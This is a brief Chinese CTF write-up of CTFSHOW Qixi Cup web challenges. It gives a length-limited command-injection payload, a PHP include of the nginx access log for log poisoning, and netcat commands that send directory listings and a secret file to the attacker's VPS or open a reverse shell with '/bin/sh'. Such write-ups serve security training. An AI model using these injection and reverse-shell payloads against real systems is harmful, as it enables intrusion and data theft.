当前位置：网站首页>CTFSHOW七夕杯web

CTFSHOW七夕杯web

2022-08-10 08:30:00 【yu22x】

有长度限制
payload

ls />a
nl /*>a

然后访问a即可得到flag

payload

num1=1;include "/var/log/nginx/access.log";&symbol=-&num2=3

然后就是日志包含那一套
在这里插入图片描述

通过nc -e向自己的vps传递命令

nc x.x.x.x port -e ls /
nc x.x.x.x port -e cat /secert

也可以直接反弹个shell

nc x.x.x.x port -e /bin/sh

还在看

版权声明
本文为[yu22x]所创，转载请带上原文链接，感谢
https://blog.csdn.net/miuzzx/article/details/126185560